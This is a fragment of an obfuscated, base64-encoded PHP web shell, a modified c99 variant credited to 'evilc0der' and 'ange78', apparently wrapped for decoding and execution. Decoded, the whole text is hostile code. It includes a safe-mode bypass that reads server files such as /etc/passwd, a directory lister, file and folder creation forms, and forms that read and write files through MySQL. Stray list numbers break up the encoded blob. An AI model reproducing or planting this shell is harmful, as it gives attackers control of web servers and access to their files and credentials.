aHR0cDovL2dvb2dsZS5jb20vc2VhcmNoIj4gDQogICAgICA8aW5wdXQgbmFtZT0icSIgdHlwZT0i dGV4dCIgaWQ9InEiIHZhbHVlPSI8P3BocCBlY2hvIHdvcmR3cmFwKHBocF91bmFtZSgpKTsgPz4i PiANCiAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImNsaWVudCIgdmFsdWU9ImZpcmVm b3gtYSI+IA0KICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icmxzIiB2YWx1ZT0ib3Jn Lm1vemlsbGE6ZW4tVVM6b2ZmaWNpYWwiPiANCiAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5h bWU9ImhsIiB2YWx1ZT0iZW4iPiANCiAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Imhz IiB2YWx1ZT0iYjdwIj4gDQogICAgICA8aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT0iYnRuRyIgVkFM VUU9IlNlYXJjaCI+IA0KICAgIDwvZm9ybT48L2NlbnRlcj4gDQogICAgDQogIDwvdGQ+IA0KPC90 cj48L1RBQkxFPjxicj4gDQo8VEFCTEUgc3R5bGU9IkJPUkRFUi1DT0xMQVBTRTogY29sbGFwc2Ui IGNlbGxTcGFjaW5nPTAgYm9yZGVyQ29sb3JEYXJrPSM2NjY2NjYgY2VsbFBhZGRpbmc9NSBoZWln aHQ9IjExNiIgd2lkdGg9IjEwMCUiIGJnQ29sb3I9IzAwMzMwMA0KIGJvcmRlckNvbG9yTGlnaHQ9 I2MwYzBjMCBib3JkZXI9MT4gDQo8dHI+PHRkIGhlaWdodD0iMSIgdmFsaWduPSJ0b3AiIGNvbHNw YW49IjIiPjxwIGFsaWduPSJjZW50ZXIiPjxiPjo6IDxhIGhyZWY9Ijw/cGhwIGVjaG8gJHN1cmw7 ID8+YWN0PWNtZCZkPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRkKTsgPz4iPjxiPg0KCUJZUGFTUyA6 RCA8L2I+PC9hPiA6OjwvYj48L3A+PC90ZD48L3RyPiANCjx0cj4gDQogIDx0ZCB3aWR0aD0iNDkl IiBoZWlnaHQ9IjgzIiB2YWxpZ249InRvcCI+PGNlbnRlcj4gDQogICAgPGRpdiBhbGlnbj0iY2Vu dGVyIj5QaHAgU2FmZS1Nb2RlIEJ5cGFzcyAoUmVhZCBGaWxlcykgDQogICAgPC9kaXY+PGJyPiAN CiAgICA8Zm9ybSBhY3Rpb249Ijw/cGhwIGVjaG8gJHN1cmw7ID8+Ij4gDQogICAgICA8ZGl2IGFs aWduPSJjZW50ZXIiPiANCiAgICAgIEZpbGU6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJmaWxl IiBtZXRob2Q9ImdldCI+IDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJSZWFkIEZpbGUiPjxi cj48YnI+IA0KCQllZzogL2V0Yy9wYXNzd2Q8YnI+IA0KICAgICAgIA0KICAgICAgIA0KICAgICAg IA0KICAgICAgICAgICAgDQogICAgICAgDQogICAgICAgDQogICAgICA8PyANCiAgICAgICANCiAg ICAgIGZ1bmN0aW9uIHJzZ19yZWFkKCkNCiAgICB7ICAgIA0KICAgICR0ZXN0PSIiOw0KICAgICR0 ZW1wPXRlbXBuYW0oJHRlc3QsICJjeCIpOw0KICAgICRmaWxlPSRfR0VUWydmaWxlJ107ICAgIA0K ICAgICRnZXQ9aHRtbHNwZWNpYWxjaGFycygkZmlsZSk7DQogICAgZWNobyAiPGJyPlRyeWluZyBU byBHZXQgRmlsZSA8Zm9udCBjb2xvcj0jMDAwMDk5PjxiPiRnZXQ8L2I+PC9mb250Pjxicj4iOw0K ICAgIGlmKGNvcHkoImNvbXByZXNzLnpsaWI6Ly8iLiRmaWxlLCAkdGVtcCkpew0KICAgICRmaWNo aWVyID0gZm9wZW4oJHRlbXAsICJyIik7DQogICAgJGFjdGlvbiA9IGZyZWFkKCRmaWNoaWVyLCBm aWxlc2l6ZSgkdGVtcCkpOw0KICAgIGZjbG9zZSgkZmljaGllcik7DQogICAgJHNvdXJjZT1odG1s c3BlY2lhbGNoYXJzKCRhY3Rpb24pOw0KICAgIGVjaG8gIjxkaXYgY2xhc3M9XCJzaGVsbFwiPjxi PlN0YXJ0ICRnZXQ8L2I+PGJyPjxicj48Zm9udCBjb2xvcj1cIndoaXRlXCI+JHNvdXJjZTwvZm9u dD48YnI+PGI+PGJyPkZpbiA8Zm9udCBjb2xvcj0jMDAwMDk5PiRnZXQ8L2ZvbnQ+PC9iPiI7DQog ICAgdW5saW5rKCR0ZW1wKTsNCiAgICB9IGVsc2Ugew0KICAgIGRpZSgiPEZPTlQgQ09MT1I9XCJS RURcIj48Q0VOVEVSPlNvcnJ5Li4uIEZpbGUNCiAgICA8Qj4iLmh0bWxzcGVjaWFsY2hhcnMoJGZp bGUpLiI8L0I+IGRvc2VuJ3QgZXhpc3RzIG9yIHlvdSBkb24ndCBoYXZlDQogICAgYWNjZXNzLjwv Q0VOVEVSPjwvRk9OVD4iKTsNCiAgICAgICAgICAgIH0NCiAgICBlY2hvICI8L2Rpdj4iOw0KICAg IH0gDQogICAgIA0KICAgIGlmKGlzc2V0KCRfR0VUWydmaWxlJ10pKQ0Kew0KcnNnX3JlYWQoKTsN Cn0gDQogICAgIA0KICAgID8+IA0KICAgICANCiAgICA8PyANCiAgICAgDQogICAgZnVuY3Rpb24g cnNnX2dsb2IoKQ0Kew0KJGNoZW1pbj0kX0dFVFsnZGlyZWN0b3J5J107DQokZmlsZXMgPSBnbG9i KCIkY2hlbWluKiIpOw0KZWNobyAiVHJ5aW5nIFRvIExpc3QgRm9sZGVyIDxmb250IGNvbG9yPSMw MDAwOTk+PGI+JGNoZW1pbjwvYj48L2ZvbnQ+PGJyPiI7DQpmb3JlYWNoICgkZmlsZXMgYXMgJGZp bGVuYW1lKSB7DQogICAgZWNobyAiPHByZT4iOw0KICAgZWNobyAiJGZpbGVuYW1lXG4iOw0KICAg ZWNobyAiPC9wcmU+IjsNCn0NCn0gDQoNCmlmKGlzc2V0KCRfR0VUWydkaXJlY3RvcnknXSkpDQp7 DQpyc2dfZ2xvYigpOw0KfSANCg0KPz4gDQoNCg0KDQoNCiAgICAgICAgIDxicj4gDQogICAgICA8 L2Rpdj4gDQogICAgPC9mb3JtPiANCiAgICA8L3RkPiANCiAgPHRkIHdpZHRoPSI0OSUiIGhlaWdo dD0iODMiIHZhbGlnbj0idG9wIj48Y2VudGVyPiANCiAgIDxjZW50ZXI+UGhwIFNhZmUtTW9kZSBC eXBhc3MgKExpc3QgRGlyZWN0b3JpZXMpOiAgICAgPGZvcm0gYWN0aW9uPSI8P3BocCBlY2hvICRz dXJsOyA/PiI+IA0KICAgICAgPGRpdiBhbGlnbj0iY2VudGVyIj48YnI+IA0KICAgICAgCURpcjog PGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImRpcmVjdG9yeSIgbWV0aG9kPSJnZXQiPiA8aW5wdXQg dHlwZT0ic3VibWl0IiB2YWx1ZT0iTGlzdCBEaXJlY3RvcnkiPjxicj48YnI+IA0KCQllZzogL2V0 Yy88YnI+IA0KDQogICAgPC9mb3JtPjwvY2VudGVyPiANCiAgICA8L3RkPiANCjwvdHI+PC9UQUJM
  • 47. RT48YnI+IA0KPGJyPjxUQUJMRSBzdHlsZT0iQk9SREVSLUNPTExBUFNFOiBjb2xsYXBzZSIgY2Vs bFNwYWNpbmc9MCBib3JkZXJDb2xvckRhcms9IzY2NjY2NiBjZWxsUGFkZGluZz01IGhlaWdodD0i MSIgd2lkdGg9IjEwMCUiIGJnQ29sb3I9IzAwMzMwMCBib3JkZXJDb2xvckxpZ2h0PSNjMGMwYzAg Ym9yZGVyPTE+PHRyPjx0ZCB3aWR0aD0iNTAlIiBoZWlnaHQ9IjEiIHZhbGlnbj0idG9wIj48Y2Vu dGVyPjxiPg0KCQkJOjogTWFrZSBEaXIgOjo8L2I+PGZvcm0gb25zdWJtaXQ9Jyh0aGlzKScgbWV0 aG9kPSI8PyBlY2hvICRhY3Rpb25fbWV0aG9kOyA/PiI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9 YWN0IHZhbHVlPSJta2RpciI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ImQiIHZhbHVlPSI8P3Bo cCBlY2hvICRkaXNwZDsgPz4iPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJta2RpciIgc2l6ZT0i NTAiIHZhbHVlPSI8P3BocCBlY2hvICRkaXNwZDsgPz4iPiZuYnNwOzxpbnB1dCB0eXBlPXN1Ym1p dCB2YWx1ZT0iQ3JlYXRlIj48YnI+PD9waHAgZWNobyAkd2R0OyA/PjwvZm9ybT48L2NlbnRlcj48 L3RkPjx0ZCB3aWR0aD0iNTAlIiBoZWlnaHQ9IjEiIHZhbGlnbj0idG9wIj48Y2VudGVyPjxiPg0K CQkJOjogTWFrZSBGaWxlIDo6PC9iPjxmb3JtIG9uc3VibWl0PScodGhpcyknIG1ldGhvZD0iPD8g ZWNobyAkYWN0aW9uX21ldGhvZDsgPz4iPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdCB2YWx1 ZT0ibWtmaWxlIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT0iZCIgdmFsdWU9Ijw/cGhwIGVjaG8g JGRpc3BkOyA/PiI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im1rZmlsZSIgc2l6ZT0iNTAiIHZh bHVlPSI8P3BocCBlY2hvICRkaXNwZDsgPz4iPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSJmdCIg dmFsdWU9ImVkaXQiPiZuYnNwOzxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iQ3JlYXRlIj48YnI+ PD9waHAgZWNobyAkd2R0OyA/PjwvZm9ybT48L2NlbnRlcj48L3RkPjwvdHI+PC90YWJsZT4NCjxi cj48VEFCTEUgc3R5bGU9IkJPUkRFUi1DT0xMQVBTRTogY29sbGFwc2UiIGNlbGxTcGFjaW5nPTAg Ym9yZGVyQ29sb3JEYXJrPSM2NjY2NjYgY2VsbFBhZGRpbmc9NSBoZWlnaHQ9IjEiIHdpZHRoPSIx MDAlIiBiZ0NvbG9yPSMwMDMzMDAgYm9yZGVyQ29sb3JMaWdodD0jYzBjMGMwIGJvcmRlcj0xPjx0 cj48dGQgd2lkdGg9IjUwJSIgaGVpZ2h0PSIxIiB2YWxpZ249InRvcCI+PGNlbnRlcj48Yj4NCgkJ CTo6IEdvIERpciA6OjwvYj48Zm9ybSBvbnN1Ym1pdD0nKHRoaXMpJyBtZXRob2Q9Ijw/IGVjaG8g JGFjdGlvbl9tZXRob2Q7ID8+Ij48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3QgdmFsdWU9Imxz Ij48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZCIgc2l6ZT0iNTAiIHZhbHVlPSI8P3BocCBlY2hv ICRkaXNwZDsgPz4iPiZuYnNwOzxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iR28iPjwvZm9ybT48 L2NlbnRlcj48L3RkPjx0ZCB3aWR0aD0iNTAlIiBoZWlnaHQ9IjEiIHZhbGlnbj0idG9wIj48Y2Vu dGVyPjxiPg0KCQkJOjogR28gRmlsZSA6OjwvYj48Zm9ybSBvbnN1Ym1pdD0nKHRoaXMpJyBtZXRo b2Q9Ijw/IGVjaG8gJGFjdGlvbl9tZXRob2Q7ID8+Ij48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1h Y3QgdmFsdWU9ImdvZmlsZSI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ImQiIHZhbHVlPSI8P3Bo cCBlY2hvICRkaXNwZDsgPz4iPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJmIiBzaXplPSI1MCIg dmFsdWU9Ijw/cGhwIGVjaG8gJGRpc3BkOyA/PiI+Jm5ic3A7PGlucHV0IHR5cGU9c3VibWl0IHZh bHVlPSJHbyI+PC9mb3JtPjwvY2VudGVyPjwvdGQ+PC90cj48L3RhYmxlPg0KDQo8YnI+PFRBQkxF IHN0eWxlPSJCT1JERVItQ09MTEFQU0U6IGNvbGxhcHNlIiBjZWxsU3BhY2luZz0wIGJvcmRlckNv bG9yRGFyaz0jNjY2NjY2IGNlbGxQYWRkaW5nPTUgaGVpZ2h0PSIxIiB3aWR0aD0iMTAwJSIgYmdD b2xvcj0jMDAzMzAwIGJvcmRlckNvbG9yTGlnaHQ9I2MwYzBjMCBib3JkZXI9MT4NCg0KPHRyPg0K PHRkIHdpZHRoPSI1MCUiIGhlaWdodD0iMSIgdmFsaWduPSJ0b3AiPjxjZW50ZXI+PGI+OjogUmVh ZCBGaWxlIHVzaW5nIE15U1FMIDo6PC9iPg0KPGZvcm0gb25zdWJtaXQ9Jyh0aGlzKScgbWV0aG9k PSI8PyBlY2hvICRhY3Rpb25fbWV0aG9kOyA/PiI+DQo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1h Y3QgdmFsdWU9InJteXNxbCI+DQoNCjx0YWJsZT4NCjx0cj48dGQ+PGZvbnQgY29sb3I9IiNGRkZG RkYiPkZpbGVfUGF0aDwvZm9udD48dGQ+PGlucHV0IGNsYXNzPSJpbnB1dCIgc2l6ZT0iMzAiIG5h bWU9Im1teWZpbGUiIHZhbHVlPSI8P3BocCBlY2hvICRkaXNwZDsgPz4iPjwvdHI+DQo8dHI+PHRk Pjxmb250IGNvbG9yPSIjRkZGRkZGIj5EQl9Ib3N0PC9mb250Pjx0ZD48aW5wdXQgY2xhc3M9Imlu cHV0IiBzaXplPSIzMCIgbmFtZT0ibW15aG9zdCIgdmFsdWU9ImxvY2FsaG9zdCI+PC90cj4NCjx0 cj48dGQ+PGZvbnQgY29sb3I9IiNGRkZGRkYiPkRCX05hbWU8L2ZvbnQ+PHRkPjxpbnB1dCBjbGFz cz0iaW5wdXQiIHNpemU9IjMwIiBuYW1lPSJtbXlkYiIgdmFsdWU9IiI+PC90cj4NCjx0cj48dGQ+ PGZvbnQgY29sb3I9IiNGRkZGRkYiPkRCX1VzZXI8L2ZvbnQ+PHRkPjxpbnB1dCBjbGFzcz0iaW5w dXQiIHNpemU9IjMwIiBuYW1lPSJtbXl1c2VyIiB2YWx1ZT0iIj48L3RyPg0KPHRyPjx0ZD48Zm9u dCBjb2xvcj0iI0ZGRkZGRiI+REJfUGFzczwvZm9udD48dGQ+PGlucHV0IHR5cGU9InBhc3N3b3Jk IiBjbGFzcz0iaW5wdXQiIHNpemU9IjMwIiBuYW1lPSJtbXlwYXNzIiB2YWx1ZT0iIj48L3RyPg0K PHRyPjx0ZD48L3RkPjx0ZCBhbGlnbj1yaWdodD48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IiAg UmVhZCAgIj48L3RyPg0KPC90YWJsZT4NCjwvZm9ybT4NCjwvY2VudGVyPg0KDQoNCg0KDQoNCjwv dGQ+DQo8dGQgd2lkdGg9IjUwJSIgaGVpZ2h0PSIxIiB2YWxpZ249InRvcCI+PGNlbnRlcj48Yj46 OiBXcml0ZSBGaWxlIHVzaW5nIE15U1FMIDo6PC9iPg0KPGZvcm0gb25zdWJtaXQ9Jyh0aGlzKScg bWV0aG9kPSI8PyBlY2hvICRhY3Rpb25fbWV0aG9kOyA/PiI+DQo8aW5wdXQgdHlwZT1oaWRkZW4g bmFtZT1hY3QgdmFsdWU9IndteXNxbCI+DQoNCjx0YWJsZT4NCjx0cj48dGQ+PGZvbnQgY29sb3I9 IiNGRkZGRkYiPkZpbGVfUGF0aDwvZm9udD48dGQ+PGlucHV0IGNsYXNzPSJpbnB1dCIgc2l6ZT0i MzAiIG5hbWU9Im1teWZpbGUiIHZhbHVlPSI8P3BocCBlY2hvICRkaXNwZDsgPz4iPjwvdHI+DQo8 dHI+PHRkPjxmb250IGNvbG9yPSIjRkZGRkZGIj5GaWxlX0NvbnRlbnQ8L2ZvbnQ+PHRkPjx0ZXh0
  • 48. YXJlYSBjbGFzcz0iaW5wdXQiIGNvbHM9IjMwIiByb3dzPSIzIiBuYW1lPSJtbXljb24iPjwvdGV4 dGFyZWE+PC90cj4NCjx0cj48dGQ+PGZvbnQgY29sb3I9IiNGRkZGRkYiPkRCX1VzZXI8L2ZvbnQ+ PHRkPjxpbnB1dCBjbGFzcz0iaW5wdXQiIHNpemU9IjMwIiBuYW1lPSJtbXl1c2VyIiB2YWx1ZT0i Ij48L3RyPg0KPHRyPjx0ZD48Zm9udCBjb2xvcj0iI0ZGRkZGRiI+REJfUGFzczwvZm9udD48dGQ+ PGlucHV0IHR5cGU9InBhc3N3b3JkIiBjbGFzcz0iaW5wdXQiIHNpemU9IjMwIiBuYW1lPSJtbXlw YXNzIiB2YWx1ZT0iIj48L3RyPg0KPHRyPjx0ZD48L3RkPjx0ZCBhbGlnbj1yaWdodD48aW5wdXQg dHlwZT1zdWJtaXQgdmFsdWU9IiAgV3JpdGUgICI+PC90cj4NCjwvdGFibGU+DQo8L2Zvcm0+DQo8 L2NlbnRlcj4NCjwvdGQ+DQo8L3RyPg0KPC90YWJsZT4NCg0KPGJyPjxUQUJMRSBzdHlsZT0iQk9S REVSLUNPTExBUFNFOiBjb2xsYXBzZSIgaGVpZ2h0PTEgY2VsbFNwYWNpbmc9MCBib3JkZXJDb2xv ckRhcms9IzY2NjY2NiBjZWxsUGFkZGluZz0wIHdpZHRoPSIxMDAlIiBiZ0NvbG9yPSMwMDMzMDAg Ym9yZGVyQ29sb3JMaWdodD0jYzBjMGMwIGJvcmRlcj0xPjx0cj48dGQgd2lkdGg9Ijk5MCIgaGVp Z2h0PSIxIiB2YWxpZ249InRvcCI+PHAgYWxpZ249ImNlbnRlciI+PGI+LS1bIGV2aWxjMGRlciAg PD9waHAgZWNobyAkc2h2ZXI7ID8+PGEgaHJlZj0iIyIgT25DbGljaz0iZG9jdW1lbnQudG9kby5h Y3QudmFsdWU9J2Fib3V0Jztkb2N1bWVudC50b2RvLnN1Ym1pdCgpOyI+PHU+IG1vZGVkIEJZIDwv Yj48Yj5hbmdlNzg8L3U+PC9iPiA8L2E+fCA8YSBocmVmPSJodHRwOi8vZXZpbGMwZGVyLmNvbSI+ PGZvbnQgY29sb3I9IiNGRjAwMDAiPmh0dHA6Ly9ldmlsYzBkZXIuY29tPC9mb250PjwvYT48Zm9u dCBjb2xvcj0iI0ZGMDAwMCI+PC9mb250PiB8IEdlbmVyYXRpb24gdGltZTogPD9waHAgZWNobyBy b3VuZChnZXRtaWNyb3RpbWUoKS1zdGFydHRpbWUsNCk7ID8+IF0tLTwvYj48L3A+PC90ZD48L3Ry PjwvdGFibGU+DQo8L2JvZHk+PC9odG1sPjw/cGhwIGNoZGlyKCRsYXN0ZGlyKTsgYzk5c2hleGl0 KCk7DQo=")); ?>